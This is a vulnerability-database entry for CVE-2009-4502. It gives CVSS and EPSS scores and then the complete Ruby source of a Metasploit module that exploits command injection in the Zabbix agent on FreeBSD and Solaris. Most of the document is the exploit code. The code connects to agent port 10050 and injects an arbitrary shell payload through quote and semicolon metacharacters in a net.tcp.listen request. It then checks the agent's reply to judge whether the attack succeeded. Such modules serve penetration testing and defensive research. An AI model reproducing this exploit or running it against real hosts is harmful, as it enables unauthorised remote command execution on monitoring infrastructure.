CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
EPSS
Percentile
97.9%
This module exploits a metacharacter injection vulnerability in the FreeBSD and Solaris versions of the Zabbix agent. This flaw can only be exploited if the attacker can hijack the IP address of an authorized server (as defined in the configuration file).
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Zabbix Agent net.tcp.listen Command Injection',
'Description' => %q{
This module exploits a metacharacter injection vulnerability
in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
can only be exploited if the attacker can hijack the IP address
of an authorized server (as defined in the configuration file).
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-4502' ],
[ 'OSVDB', '60956' ],
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'BadChars' => "'",
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2009-09-10'))
register_options(
[
Opt::RPORT(10050)
])
end
def exploit
connect
rnd_port = rand(1024) + 1
buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"
print_status("Sending net.tcp.listen() request to the zabbix agent...")
sock.put(buf)
res = nil
begin
res = sock.get_once(-1, 5)
rescue ::EOFError
end
if ! res
print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")
disconnect
return
end
if (res =~ /ZBX_NOTSUPPORTED/)
print_status("The zabbix agent is not running a vulnerable version or operating system.")
disconnect
return
end
if(res !~ /ZBXD/)
print_status("The zabbix agent returned an unknown response.")
disconnect
return
end
print_status("The zabbix agent should have executed our command.")
disconnect
end
end